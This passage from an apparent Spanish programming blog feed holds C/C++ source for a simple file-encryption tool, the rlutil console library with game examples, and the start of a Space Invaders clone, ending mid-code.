          c += 0x10;
          O << c;
          break;
        case 7:
          c -= 0x14;
          O << c;
          break;
        case 8:
          c += 0x18;
          O << c;
          break;
        case 9:
          c -= 0x16;
          O << c;
          break;
        case 10:
          c -= 0x12;
          O << c;
          break;
        case 11:
          c -= 0x10;
          O << c;
          break;
        case 12:
          c += 0x14;
          O << c;
          break;
        case 13:
          c += 0x18;
          O << c;
          break;
        case 14:
          c += 0x16;
          O << c;
          break;
        }
        count++;
    }
    I.close();
    O.close();
    return true;
}

file_crypter.h

Código:

#ifndef __file_crypter_h
/* FCMain -- The GUI to all the 5 encryption algorithms
 *
 * Written by René Kjellerup <katana_steel@users.sourceforge.net>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */

#define __file_crypter_h 1

#include <QMainWindow>
#include "ui_file_crypter.h"

namespace xcrypter {
class crypt;
}

class FCMain : public QMainWindow, private Ui::MainWindow
{
    Q_OBJECT
    xcrypter::crypt *xcry;
public:
    FCMain(QWidget *p=0);

    void show();

private slots:
    void startEnc();
    void startDec();
    void openInput();
    void setOutput();
    void setKey();
    void openKey();
    void check_xcrypter(int idx);
    void adjustUI();
    void about();

private:
    bool algo1e();
    bool algo1d();
    bool algo2e();
    bool algo2d();
    bool algo3e();
    bool algo3d();
    bool algo4e();
    bool algo4d();

};

#endif

Ejemplo

Código:

// ncrypter.cpp : Defines the entry point for the console application.
//
#include "crypt.h"
#include <fstream>

void usage(void);


int main(int argc, char* argv[])
{
        if((argc > 1) && (6 > argc)) {
                xcrypter::crypt *lib;
                std::ifstream I;
                std::ofstream O;
                if(argv[1][0] == '-') {
                        switch(argv[1][1]) {
                                case 'c':
                                        lib = new xcrypter::crypt(argv[2]);
                                        break;
                                case 'e':
                                        lib = new xcrypter::crypt(argv[2]);
                                        I.open(argv[3],std::ios::binary);
                                        O.open(argv[4],std::ios::binary);
                                        lib->enc(I,O,0);
                                        O.close();
                                        I.close();
                                        break;
                                case 'd':
                                        lib = new xcrypter::crypt(argv[2]);
                                        I.open(argv[3],std::ios::binary);
                                        O.open(argv[4],std::ios::binary);
                                        lib->dec(I,O,0);
                                        O.close();
                                        I.close();
                                        break;
                                default:
                                        usage();
                                        break;
                        }
                        if(lib) delete lib;
                        return 0;
                }
        }
        usage();
        return 0;
}




Uploadable.net - #1 [Code] File Crypter 1.5

[C++] RLUTIL: Libreria para color, mouse, teclado...

$
0
0
RLUTIL
Libreria para la creación de juegos en modo consola


Rlutil es una pequeña utilidad para C++ y C para el desarrollo en modo consola multi-plataforma de roguelike. Consiste principalmente de funciones de E/S que se pueden utilizar para crear roguelikes en modo consola (u otras aplicaciones) que funcionan en Windows y Linux.

Sus principales funcionalidades incluyen la salida de textos a colores, la entrada de información por teclado que no requiere retorno de pulsaciones de teclas y la manipulación del cursor. También se comporta muy bien si se utiliza C ++ o C - lo que significa que por ejemplo, utiliza automágicamente std::strings, flujos y espacios de nombres con C++.

Códigos de escape WinAPI o ANSI se utilizan dependiendo de la plataforma. Compatibilidad con Mac OSX necesita pruebas y parches.

Instalación

Descarga el proyecto (rlutil)y agrega #include "rlutil.h" en tu codigo fuente. Este automaticamente detecta si tu estas usando C++ o C y se ajusta al codigo adecuadamente (e.g. std::string vs. char*).

Documentación

Para una mayor información revisa la documentación en el siguiente enlace: RLUTIL: API Documentation

Codigo Fuente

Código:

#pragma once
/**
 * File: rlutil.h
 *
 * About: Description
 * This file provides some useful utilities for console mode
 * roguelike game development with C and C++. It is aimed to
 * be cross-platform (at least Windows and Linux).
 *
 * About: Copyright
 * (C) 2010 Tapio Vierros
 *
 * About: Licensing
 * See <License>
 */


/// Define: RLUTIL_USE_ANSI
/// Define this to use ANSI escape sequences also on Windows
/// (defaults to using WinAPI instead).
#if 0
#define RLUTIL_USE_ANSI
#endif

/// Define: RLUTIL_STRING_T
/// Define/typedef this to your preference to override rlutil's string type.
///
/// Defaults to std::string with C++ and char* with C.
#if 0
#define RLUTIL_STRING_T char*
#endif

#ifdef __cplusplus
        /// Common C++ headers
        #include <iostream>
        #include <string>
        #include <sstream>
        /// Namespace forward declarations
        namespace rlutil {
                void locate(int x, int y);
        }
#else
        void locate(int x, int y); // Forward declare for C to avoid warnings
#endif // __cplusplus

#ifndef RLUTIL_INLINE
        #ifdef _MSC_VER
                #define RLUTIL_INLINE __inline
        #else
                #define RLUTIL_INLINE __inline__
        #endif
#endif

#ifdef _WIN32
        #include <windows.h>  // for WinAPI and Sleep()
        #define _NO_OLDNAMES  // for MinGW compatibility
        #include <conio.h>    // for getch() and kbhit()
        #define getch _getch
        #define kbhit _kbhit
#else
        #ifdef __cplusplus
                #include <cstdio> // for getch()
        #else // __cplusplus
                #include <stdio.h> // for getch()
        #endif // __cplusplus
        #include <termios.h> // for getch() and kbhit()
        #include <unistd.h> // for getch(), kbhit() and (u)sleep()
        #include <sys/ioctl.h> // for getkey()
        #include <sys/types.h> // for kbhit()
        #include <sys/time.h> // for kbhit()

/// Function: getch
/// Get character without waiting for Return to be pressed.
/// Windows has this in conio.h
RLUTIL_INLINE int getch(void) {
        // Here be magic.
        struct termios oldt, newt;
        int ch;
        tcgetattr(STDIN_FILENO, &oldt);
        newt = oldt;
        newt.c_lflag &= ~(ICANON | ECHO);
        tcsetattr(STDIN_FILENO, TCSANOW, &newt);
        ch = getchar();
        tcsetattr(STDIN_FILENO, TCSANOW, &oldt);
        return ch;
}

/// Function: kbhit
/// Determines if keyboard has been hit.
/// Windows has this in conio.h
RLUTIL_INLINE int kbhit(void) {
        // Here be dragons.
        static struct termios oldt, newt;
        int cnt = 0;
        tcgetattr(STDIN_FILENO, &oldt);
        newt = oldt;
        newt.c_lflag    &= ~(ICANON | ECHO);
        newt.c_iflag    = 0; // input mode
        newt.c_oflag    = 0; // output mode
        newt.c_cc[VMIN]  = 1; // minimum time to wait
        newt.c_cc[VTIME] = 1; // minimum characters to wait for
        tcsetattr(STDIN_FILENO, TCSANOW, &newt);
        ioctl(0, FIONREAD, &cnt); // Read count
        struct timeval tv;
        tv.tv_sec  = 0;
        tv.tv_usec = 100;
        select(STDIN_FILENO+1, NULL, NULL, NULL, &tv); // A small time delay
        tcsetattr(STDIN_FILENO, TCSANOW, &oldt);
        return cnt; // Return number of characters
}
#endif // _WIN32

#ifndef gotoxy
/// Function: gotoxy
/// Same as <rlutil.locate>.
RLUTIL_INLINE void gotoxy(int x, int y) {
        #ifdef __cplusplus
        rlutil::
        #endif
        locate(x,y);
}
#endif // gotoxy

#ifdef __cplusplus
/// Namespace: rlutil
/// In C++ all functions except <getch>, <kbhit> and <gotoxy> are arranged
/// under namespace rlutil. That is because some platforms have them defined
/// outside of rlutil.
namespace rlutil {
#endif

/**
 * Defs: Internal typedefs and macros
 * RLUTIL_STRING_T - String type depending on which one of C or C++ is used
 * RLUTIL_PRINT(str) - Printing macro independent of C/C++
 */

#ifdef __cplusplus
        #ifndef RLUTIL_STRING_T
                typedef std::string RLUTIL_STRING_T;
        #endif // RLUTIL_STRING_T

        inline void RLUTIL_PRINT(RLUTIL_STRING_T st) { std::cout << st; }

#else // __cplusplus
        #ifndef RLUTIL_STRING_T
                typedef char* RLUTIL_STRING_T;
        #endif // RLUTIL_STRING_T

        #define RLUTIL_PRINT(st) printf("%s", st)
#endif // __cplusplus

/**
 * Enums: Color codes
 *
 * BLACK - Black
 * BLUE - Blue
 * GREEN - Green
 * CYAN - Cyan
 * RED - Red
 * MAGENTA - Magenta / purple
 * BROWN - Brown / dark yellow
 * GREY - Grey / dark white
 * DARKGREY - Dark grey / light black
 * LIGHTBLUE - Light blue
 * LIGHTGREEN - Light green
 * LIGHTCYAN - Light cyan
 * LIGHTRED - Light red
 * LIGHTMAGENTA - Light magenta / light purple
 * YELLOW - Yellow (bright)
 * WHITE - White (bright)
 */
enum {
        BLACK,
        BLUE,
        GREEN,
        CYAN,
        RED,
        MAGENTA,
        BROWN,
        GREY,
        DARKGREY,
        LIGHTBLUE,
        LIGHTGREEN,
        LIGHTCYAN,
        LIGHTRED,
        LIGHTMAGENTA,
        YELLOW,
        WHITE
};

/**
 * Consts: ANSI color strings
 *
 * ANSI_CLS - Clears screen
 * ANSI_BLACK - Black
 * ANSI_RED - Red
 * ANSI_GREEN - Green
 * ANSI_BROWN - Brown / dark yellow
 * ANSI_BLUE - Blue
 * ANSI_MAGENTA - Magenta / purple
 * ANSI_CYAN - Cyan
 * ANSI_GREY - Grey / dark white
 * ANSI_DARKGREY - Dark grey / light black
 * ANSI_LIGHTRED - Light red
 * ANSI_LIGHTGREEN - Light green
 * ANSI_YELLOW - Yellow (bright)
 * ANSI_LIGHTBLUE - Light blue
 * ANSI_LIGHTMAGENTA - Light magenta / light purple
 * ANSI_LIGHTCYAN - Light cyan
 * ANSI_WHITE - White (bright)
 */
const RLUTIL_STRING_T ANSI_CLS = "\033[2J";
const RLUTIL_STRING_T ANSI_BLACK = "\033[22;30m";
const RLUTIL_STRING_T ANSI_RED = "\033[22;31m";
const RLUTIL_STRING_T ANSI_GREEN = "\033[22;32m";
const RLUTIL_STRING_T ANSI_BROWN = "\033[22;33m";
const RLUTIL_STRING_T ANSI_BLUE = "\033[22;34m";
const RLUTIL_STRING_T ANSI_MAGENTA = "\033[22;35m";
const RLUTIL_STRING_T ANSI_CYAN = "\033[22;36m";
const RLUTIL_STRING_T ANSI_GREY = "\033[22;37m";
const RLUTIL_STRING_T ANSI_DARKGREY = "\033[01;30m";
const RLUTIL_STRING_T ANSI_LIGHTRED = "\033[01;31m";
const RLUTIL_STRING_T ANSI_LIGHTGREEN = "\033[01;32m";
const RLUTIL_STRING_T ANSI_YELLOW = "\033[01;33m";
const RLUTIL_STRING_T ANSI_LIGHTBLUE = "\033[01;34m";
const RLUTIL_STRING_T ANSI_LIGHTMAGENTA = "\033[01;35m";
const RLUTIL_STRING_T ANSI_LIGHTCYAN = "\033[01;36m";
const RLUTIL_STRING_T ANSI_WHITE = "\033[01;37m";

/**
 * Consts: Key codes for keyhit()
 *
 * KEY_ESCAPE  - Escape
 * KEY_ENTER  - Enter
 * KEY_SPACE  - Space
 * KEY_INSERT  - Insert
 * KEY_HOME    - Home
 * KEY_END    - End
 * KEY_DELETE  - Delete
 * KEY_PGUP    - PageUp
 * KEY_PGDOWN  - PageDown
 * KEY_UP      - Up arrow
 * KEY_DOWN    - Down arrow
 * KEY_LEFT    - Left arrow
 * KEY_RIGHT  - Right arrow
 * KEY_F1      - F1
 * KEY_F2      - F2
 * KEY_F3      - F3
 * KEY_F4      - F4
 * KEY_F5      - F5
 * KEY_F6      - F6
 * KEY_F7      - F7
 * KEY_F8      - F8
 * KEY_F9      - F9
 * KEY_F10    - F10
 * KEY_F11    - F11
 * KEY_F12    - F12
 * KEY_NUMDEL  - Numpad del
 * KEY_NUMPAD0 - Numpad 0
 * KEY_NUMPAD1 - Numpad 1
 * KEY_NUMPAD2 - Numpad 2
 * KEY_NUMPAD3 - Numpad 3
 * KEY_NUMPAD4 - Numpad 4
 * KEY_NUMPAD5 - Numpad 5
 * KEY_NUMPAD6 - Numpad 6
 * KEY_NUMPAD7 - Numpad 7
 * KEY_NUMPAD8 - Numpad 8
 * KEY_NUMPAD9 - Numpad 9
 */
const int KEY_ESCAPE  = 0;
const int KEY_ENTER  = 1;
const int KEY_SPACE  = 32;

const int KEY_INSERT  = 2;
const int KEY_HOME    = 3;
const int KEY_PGUP    = 4;
const int KEY_DELETE  = 5;
const int KEY_END    = 6;
const int KEY_PGDOWN  = 7;

const int KEY_UP      = 14;
const int KEY_DOWN    = 15;
const int KEY_LEFT    = 16;
const int KEY_RIGHT  = 17;

const int KEY_F1      = 18;
const int KEY_F2      = 19;
const int KEY_F3      = 20;
const int KEY_F4      = 21;
const int KEY_F5      = 22;
const int KEY_F6      = 23;
const int KEY_F7      = 24;
const int KEY_F8      = 25;
const int KEY_F9      = 26;
const int KEY_F10    = 27;
const int KEY_F11    = 28;
const int KEY_F12    = 29;

const int KEY_NUMDEL  = 30;
const int KEY_NUMPAD0 = 31;
const int KEY_NUMPAD1 = 127;
const int KEY_NUMPAD2 = 128;
const int KEY_NUMPAD3 = 129;
const int KEY_NUMPAD4 = 130;
const int KEY_NUMPAD5 = 131;
const int KEY_NUMPAD6 = 132;
const int KEY_NUMPAD7 = 133;
const int KEY_NUMPAD8 = 134;
const int KEY_NUMPAD9 = 135;

/// Function: getkey
/// Reads a key press (blocking) and returns a key code.
///
/// See <Key codes for keyhit()>
///
/// Note:
/// Only Arrows, Esc, Enter and Space are currently working properly.
RLUTIL_INLINE int getkey(void) {
        #ifndef _WIN32
        int cnt = kbhit(); // for ANSI escapes processing
        #endif
        int k = getch();
        switch(k) {
                case 0: {
                        int kk;
                        switch (kk = getch()) {
                                case 71: return KEY_NUMPAD7;
                                case 72: return KEY_NUMPAD8;
                                case 73: return KEY_NUMPAD9;
                                case 75: return KEY_NUMPAD4;
                                case 77: return KEY_NUMPAD6;
                                case 79: return KEY_NUMPAD1;
                                case 80: return KEY_NUMPAD4;
                                case 81: return KEY_NUMPAD3;
                                case 82: return KEY_NUMPAD0;
                                case 83: return KEY_NUMDEL;
                                default: return kk-59+KEY_F1; // Function keys
                        }}
                case 224: {
                        int kk;
                        switch (kk = getch()) {
                                case 71: return KEY_HOME;
                                case 72: return KEY_UP;
                                case 73: return KEY_PGUP;
                                case 75: return KEY_LEFT;
                                case 77: return KEY_RIGHT;
                                case 79: return KEY_END;
                                case 80: return KEY_DOWN;
                                case 81: return KEY_PGDOWN;
                                case 82: return KEY_INSERT;
                                case 83: return KEY_DELETE;
                                default: return kk-123+KEY_F1; // Function keys
                        }}
                case 13: return KEY_ENTER;
#ifdef _WIN32
                case 27: return KEY_ESCAPE;
#else // _WIN32
                case 155: // single-character CSI
                case 27: {
                        // Process ANSI escape sequences
                        if (cnt >= 3 && getch() == '[') {
                                switch (k = getch()) {
                                        case 'A': return KEY_UP;
                                        case 'B': return KEY_DOWN;
                                        case 'C': return KEY_RIGHT;
                                        case 'D': return KEY_LEFT;
                                }
                        } else return KEY_ESCAPE;
                }
#endif // _WIN32
                default: return k;
        }
}

/// Function: nb_getch
/// Non-blocking getch(). Returns 0 if no key was pressed.
RLUTIL_INLINE int nb_getch(void) {
        if (kbhit()) return getch();
        else return 0;
}

/// Function: getANSIColor
/// Return ANSI color escape sequence for specified number 0-15.
///
/// See <Color Codes>
RLUTIL_INLINE RLUTIL_STRING_T getANSIColor(const int c) {
        switch (c) {
                case 0 : return ANSI_BLACK;
                case 1 : return ANSI_BLUE; // non-ANSI
                case 2 : return ANSI_GREEN;
                case 3 : return ANSI_CYAN; // non-ANSI
                case 4 : return ANSI_RED; // non-ANSI
                case 5 : return ANSI_MAGENTA;
                case 6 : return ANSI_BROWN;
                case 7 : return ANSI_GREY;
                case 8 : return ANSI_DARKGREY;
                case 9 : return ANSI_LIGHTBLUE; // non-ANSI
                case 10: return ANSI_LIGHTGREEN;
                case 11: return ANSI_LIGHTCYAN; // non-ANSI;
                case 12: return ANSI_LIGHTRED; // non-ANSI;
                case 13: return ANSI_LIGHTMAGENTA;
                case 14: return ANSI_YELLOW; // non-ANSI
                case 15: return ANSI_WHITE;
                default: return "";
        }
}

/// Function: setColor
/// Change color specified by number (Windows / QBasic colors).
///
/// See <Color Codes>
RLUTIL_INLINE void setColor(int c) {
#if defined(_WIN32) && !defined(RLUTIL_USE_ANSI)
        HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
        SetConsoleTextAttribute(hConsole, (WORD)c);
#else
        RLUTIL_PRINT(getANSIColor(c));
#endif
}

/// Function: cls
/// Clears screen and moves cursor home.
RLUTIL_INLINE void cls(void) {
#if defined(_WIN32) && !defined(RLUTIL_USE_ANSI)
        // TODO: This is cheating...
        system("cls");
#else
        RLUTIL_PRINT("\033[2J\033[H");
#endif
}

/// Function: locate
/// Sets the cursor position to 1-based x,y.
RLUTIL_INLINE void locate(int x, int y) {
#if defined(_WIN32) && !defined(RLUTIL_USE_ANSI)
        COORD coord;
        coord.X = (SHORT)x-1;
        coord.Y = (SHORT)y-1; // Windows uses 0-based coordinates
        SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), coord);
#else // _WIN32 || USE_ANSI
        #ifdef __cplusplus
                std::ostringstream oss;
                oss << "\033[" << y << ";" << x << "H";
                RLUTIL_PRINT(oss.str());
        #else // __cplusplus
                char buf[32];
                sprintf(buf, "\033[%d;%df", y, x);
                RLUTIL_PRINT(buf);
        #endif // __cplusplus
#endif // _WIN32 || USE_ANSI
}

/// Function: hidecursor
/// Hides the cursor.
RLUTIL_INLINE void hidecursor(void) {
#if defined(_WIN32) && !defined(RLUTIL_USE_ANSI)
        HANDLE hConsoleOutput;
        CONSOLE_CURSOR_INFO structCursorInfo;
        hConsoleOutput = GetStdHandle( STD_OUTPUT_HANDLE );
        GetConsoleCursorInfo( hConsoleOutput, &structCursorInfo ); // Get current cursor size
        structCursorInfo.bVisible = FALSE;
        SetConsoleCursorInfo( hConsoleOutput, &structCursorInfo );
#else // _WIN32 || USE_ANSI
        RLUTIL_PRINT("\033[?25l");
#endif // _WIN32 || USE_ANSI
}

/// Function: showcursor
/// Shows the cursor.
RLUTIL_INLINE void showcursor(void) {
#if defined(_WIN32) && !defined(RLUTIL_USE_ANSI)
        HANDLE hConsoleOutput;
        CONSOLE_CURSOR_INFO structCursorInfo;
        hConsoleOutput = GetStdHandle( STD_OUTPUT_HANDLE );
        GetConsoleCursorInfo( hConsoleOutput, &structCursorInfo ); // Get current cursor size
        structCursorInfo.bVisible = TRUE;
        SetConsoleCursorInfo( hConsoleOutput, &structCursorInfo );
#else // _WIN32 || USE_ANSI
        RLUTIL_PRINT("\033[?25h");
#endif // _WIN32 || USE_ANSI
}

/// Function: msleep
/// Waits given number of milliseconds before continuing.
RLUTIL_INLINE void msleep(unsigned int ms) {
#ifdef _WIN32
        Sleep(ms);
#else
        // usleep argument must be under 1 000 000
        if (ms > 1000) sleep(ms/1000000);
        usleep((ms % 1000000) * 1000);
#endif
}

/// Function: trows
/// Get the number of rows in the terminal window or -1 on error.
RLUTIL_INLINE int trows(void) {
#ifdef _WIN32
        CONSOLE_SCREEN_BUFFER_INFO csbi;
        if (!GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE), &csbi))
                return -1;
        else
                return csbi.srWindow.Bottom - csbi.srWindow.Top + 1; // Window height
                // return csbi.dwSize.Y; // Buffer height
#else
#ifdef TIOCGSIZE
        struct ttysize ts;
        ioctl(STDIN_FILENO, TIOCGSIZE, &ts);
        return ts.ts_lines;
#elif defined(TIOCGWINSZ)
        struct winsize ts;
        ioctl(STDIN_FILENO, TIOCGWINSZ, &ts);
        return ts.ws_row;
#else // TIOCGSIZE
        return -1;
#endif // TIOCGSIZE
#endif // _WIN32
}

/// Function: tcols
/// Get the number of columns in the terminal window or -1 on error.
RLUTIL_INLINE int tcols(void) {
#ifdef _WIN32
        CONSOLE_SCREEN_BUFFER_INFO csbi;
        if (!GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE), &csbi))
                return -1;
        else
                return csbi.srWindow.Right - csbi.srWindow.Left + 1; // Window width
                // return csbi.dwSize.X; // Buffer width
#else
#ifdef TIOCGSIZE
        struct ttysize ts;
        ioctl(STDIN_FILENO, TIOCGSIZE, &ts);
        return ts.ts_cols;
#elif defined(TIOCGWINSZ)
        struct winsize ts;
        ioctl(STDIN_FILENO, TIOCGWINSZ, &ts);
        return ts.ws_col;
#else // TIOCGSIZE
        return -1;
#endif // TIOCGSIZE
#endif // _WIN32
}       
       
// TODO: Allow optional message for anykey()?

/// Function: anykey
/// Waits until a key is pressed.
RLUTIL_INLINE void anykey(void) {
        getch();
}

#ifndef min
/// Function: min
/// Returns the lesser of the two arguments.
#ifdef __cplusplus
template <class T> const T& min ( const T& a, const T& b ) { return (a<b)?a:b; }
#else
#define min(a,b) (((a)<(b))?(a):(b))
#endif // __cplusplus
#endif // min

#ifndef max
/// Function: max
/// Returns the greater of the two arguments.
#ifdef __cplusplus
template <class T> const T& max ( const T& a, const T& b ) { return (b<a)?a:b; }
#else
#define max(a,b) (((b)<(a))?(a):(b))
#endif // __cplusplus
#endif // max

// Classes are here at the end so that documentation is pretty.

#ifdef __cplusplus
/// Class: CursorHider
/// RAII OOP wrapper for <rlutil.hidecursor>.
/// Hides the cursor and shows it again
/// when the object goes out of scope.
struct CursorHider {
        CursorHider() { hidecursor(); }
        ~CursorHider() { showcursor(); }
};

} // namespace rlutil
#endif

Ejemplo

Ejemplo en general

Código:

#include "rlutil.h"
#include <stdlib.h> // for srand() / rand()
#include <stdio.h>
#include "math.h"

/// Tiles
#define FLOOR 0
#define WALL 1
#define COIN (1 << 1)
#define STAIRS_DOWN (1 << 2)
#define TORCH (1 << 4)

#define MAPSIZE 15

/// Globals
int x, y;
int coins = 0, moves = 0, torch = 30, level = 1;
int lvl[MAPSIZE][MAPSIZE];

/// Generates the dungeon map
void gen(int seed) {
        srand(seed);
        int i, j;
        for (j = 0; j < MAPSIZE; j++) {
                for (i = 0; i < MAPSIZE; i++) {
                        if (i == 0 || i == MAPSIZE-1 || j == 0 || j == MAPSIZE-1 ||
                          rand() % 10 == 0) lvl[i][j] = 1;
                        else if (rand() % 20 == 0) lvl[i][j] = COIN;
                        else if (rand() % 100 == 0) lvl[i][j] = TORCH;
                        else lvl[i][j] = 0;
                }
        }
        #define randcoord (1+rand()%(MAPSIZE-2))
        x = randcoord;
        y = randcoord;
        lvl[randcoord][randcoord] = STAIRS_DOWN;
}

/// Draws the screen
void draw() {
        cls();
        locate(1, MAPSIZE + 1);
        setColor(YELLOW);
        printf("Coins: %d\n", coins);
        setColor(RED);
        printf("Torch: %d\n", torch);
        setColor(MAGENTA);
        printf("Moves: %d\n", moves);
        setColor(GREEN);
        printf("Level: %d\n", level);
        locate(1, 1);
        int i, j;
        for (j = 0; j < MAPSIZE; j++) {
                for (i = 0; i < MAPSIZE; i++) {
                        if (0); //(i == x && j == y) printf("@");
                        else if (abs(x-i)+abs(y-j)>min(10,torch/2)) printf(" ");
                        else if (lvl[i][j] == 0) { setColor(BLUE); printf("."); }
                        else if (lvl[i][j] & WALL) { setColor(CYAN); printf("#"); }
                        else if (lvl[i][j] & COIN) { setColor(YELLOW); printf("o"); }
                        else if (lvl[i][j] & STAIRS_DOWN) { setColor(GREEN); printf("<"); }
                        else if (lvl[i][j] & TORCH) { setColor(RED); printf("f"); }
                }
                printf("\n");
        }
        locate(x+1, y+1);
        setColor(WHITE);
        printf("@");
        fflush(stdout);
}

/// Main loop and input handling
int main() {
        hidecursor();
        gen(level);
        setColor(2);
        printf("Welcome! Use WASD to move.\n");
        setColor(6);
        printf("Hit any key to start.\n");
        anykey();
        draw();
        while (1) {
                // Input
                if (kbhit()) {
                        char k = getch();

                        int oldx = x, oldy = y;
                        if (k == 'a') { --x; ++moves; }
                        else if (k == 'd') { ++x; ++moves; }
                        else if (k == 'w') { --y; ++moves; }
                        else if (k == 's') { ++y; ++moves; }
                        else if (k == 27) break;
                        // Collisions
                        if (lvl[x][y] & WALL) { x = oldx; y = oldy; }
                        else if (lvl[x][y] & COIN) { coins++; lvl[x][y] ^= COIN; }
                        else if (lvl[x][y] & TORCH) { torch+=20; lvl[x][y] ^= TORCH; }
                        else if (lvl[x][y] & STAIRS_DOWN) gen(++level);
                        // Drawing
                        draw();
                        // Die
                        if (--torch <= 0) break;
                }
        }
        showcursor();
        return 0;
}

Ejemplo basico en C

Código:

#include "rlutil.h"
#include <stdio.h>

int main()
{
    setColor(YELLOW);
    printf("Esto es un texto amarillo\n");
 
    setColor(RED);
    printf("Esto es un texto rojo\n");
 
    setColor(BLUE);
    printf("Esto es un texto azul\n");
}

Ejemplo basico en C++

Código:

#include "rlutil.h"
#include <iostream>

int main()
{
    rlutil::setColor(rlutil::YELLOW);
    std::cout << "Esto es un texto amarillo\n";
 
    rlutil::setColor(rlutil::RED);
    std::cout << "Esto es un texto rojo\n";
 
    rlutil::setColor(rlutil::BLUE);
    std::cout << "Esto es un texto azul\n";
}

Además de funciones para cambiar el color del texto en modo consola, la libreria también tiene muchas funciones de utilidad como:
  • rlutil :: cls () para borrar la pantalla de la consola.
  • rlutil ::anykey() para comprobar si un usuario pulsa una tecla.
  • rlutil :: hidecursor() y rlutil :: ShowCursor () para ocultar y mostrar el cursor respectivamente.
  • rlutil :: msleep() Duerme la CPU en un modo multi-plataforma.
  • rlutil :: getkey() para lectura de las teclas pulsadas, etc.



Uploadable.net - [Code] RLUTIL: Libreria para color, mouse, teclado...

[Game++] Juegos Clásicos: Space Invaders

$
0
0


Taito era una pequeña compañía japonesa fundada en 1953 que había evolucionado desde el mercado de las máquinas de vending, a la creación de máquinas arcade, primero con clones de pong, y posteriormente con máquinas propias. Toshihiro Nishikado era uno de sus programadores, y para uno de sus diseños se le ocurrió la idea de un soldado parapetado tras unas trincheras, que disparara a filas de enemigos acercándose hacia él. Pero la compañía pensó que era demasiado violento, y que podía acarrear problemas, así que se decidió cambiar a los humanos por alienígeninas y naves espaciales.

De ese modo fue como nació Space Invaders en 1978, la recreativa que dio a conocer los videojuegos al mundo. Parapetado tras los escudos cósmicos, el jugador debe vencer a 4 filas de aliens que cada vez se aproximan a él más y más rápido. Pero su principal innovación estuvo en algo que durante años sería el leit-motiv de los videojuegos : el Hi-Score. Se abría la puerta al instinto de superación, a la partida perfecta, a batir el record que parece inabarcable, y al orgullo de colocar nuestra puntuación máxima en la memoria de la máquina.

También es destacable que hasta entonces el jugador jugaba por tiempo, mientras que Space Invaders otorgaba 3 vidas, por lo que los jugadores más hábiles podían pasar mucho más tiempo jugando.

Space Invaders fue un éxito absoluto, llegando a provocar que el gobierno nipón cuadriplicara la producción de monedas de yen, por la escasez que el juego estaba provocando.

Pero el juego no fue solo un éxito en Japón, sino que licenciado por Midway llegó a América con idénticos resultados : el videojuego salió de los bares y salones recreativos y dio el salto a las cafeterías, pizzerias y negocios varios : todo el mundo quería tener una máquina de Space Invaders.

Según Taito, Space Invaders ha facturado más de 500 millones de dólares a lo largo de su historia, dejando tras de si un reguero de historias más o menos verídicas : la chica que robó 5000$ a sus padres para gastarlos en la recreativa, el record de Eric Furrer, quien con 12 años jugó 38 horas y media seguidas logrando 1.114.000 puntos, o el juicio que iniciaron los habitantes de Mesquite (Texas) ante el tribunal supremo para solicitar la prohibición del juego en su población, por considerarlo nocivo para las mentes de los jóvenes.

Descripción

Space Invaders es un matamarciano clásico en dos dimensiones. El jugador controla un cañón que puede moverse a la derecha o izquierda y un botón de disparo. Tiene que ir destruyendo los extraterrestres invasores (de los cuales hay tres tipos: con forma de calamar, de cangrejo y de pulpo) que van acercándose a la tierra cada vez más rápidamente a medida que el jugador va destruyendo a los enemigos. Este ciclo se puede repetir en forma indefinida. Si los invasores llegan al cañón controlado por el jugador, el juego termina.

Cada cierto tiempo aparece en la pantalla, por encima de los invasores, un platillo volador que se mueve aleatoriamente de derecha a izquierda o de izquierda a derecha y que no agrega una puntuación definida, sino puntos extras en cantidades aleatorias. Además se tienen cuatros escudos de protección terrestre (más parecidos a búnkeres) que cubren al jugador del fuego alienígena, pero que son destruidos gradualmente por los disparos de los invasores y el cañón del jugador.

Codigo Fuente

Codigo en C con ASCII

Código:

#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <windows.h>

int main()
{
    int sizey = 23;
    int sizex = 40;
    int x, y, yi;
    char world[sizey][sizex];
    char player = 'A';
    char playerLaser = '^';
    char enemy = 'M';
    char enemyShielded = 'O';
    char enemyLaser = 'U';
    char explosion = 'X';
    int score = 0;
    int victory = 1;
    int laserReady = 1;
    int enemyReady = 0;

    srand(time(NULL));

    /*welcome screen*/
    printf("\n \n    Welcome soldier! \n \n \n \n");
    Sleep(1000);
    printf("  Brave the COMMAND PROMPT INVADERS and come back a hero. \n \n \n \n");
    Sleep(2500);
    printf("  Your operating system is depending upon you. \n \n \n \n");
    Sleep(2500);
    printf("              Good luck.");
    Sleep(1000);
    printf("\n \n \n \n Press any key to start.");
    getch();

    /*initialise world*/
    int totalEnemies = 0;
    for (x = 0; x < sizex; x ++) {
        for (y = 0; y < sizey; y ++) {
            if ((y+1) % 2 == 0 && y < 7 && x > 4
            && x < sizex - 5 && x % 2 ==0) {
                world[y][x] = enemy;
                totalEnemies ++;
            }
            else if ((y+1) % 2 == 0 && y >= 7 && y < 9 && x > 4
            && x < sizex - 5 && x % 2 ==0){
                world[y][x] = enemyShielded;
                totalEnemies = totalEnemies + 2;
            }
            else {
                world[y][x] = ' ';
            }
        }
    }
    world[sizey - 1][sizex / 2] = player;
    int i = 1;
    char direction = 'l';
    char keyPress;
    int currentEnemies = totalEnemies;
    while(currentEnemies > 0 && victory) {
        int drop = 0;
        int enemySpeed = 1 + 10 * currentEnemies / totalEnemies;
        laserReady ++;

        /*display world*/
        system("cls");
        printf("    SCORE:    %d", score);
        printf("\n");
            for (y = 0; y < sizey; y ++) {
            printf("|");
                for (x = 0; x < sizex; x ++) {
                    printf("%c",world[y][x]);
                }
            printf("|");
            printf("\n");
            }

        /*laser time*/
        for (x = 0; x < sizex; x ++) {
            for (y = sizey-1; y >= 0; y --) {
                if (i%2 == 0 && world[y][x] == enemyLaser
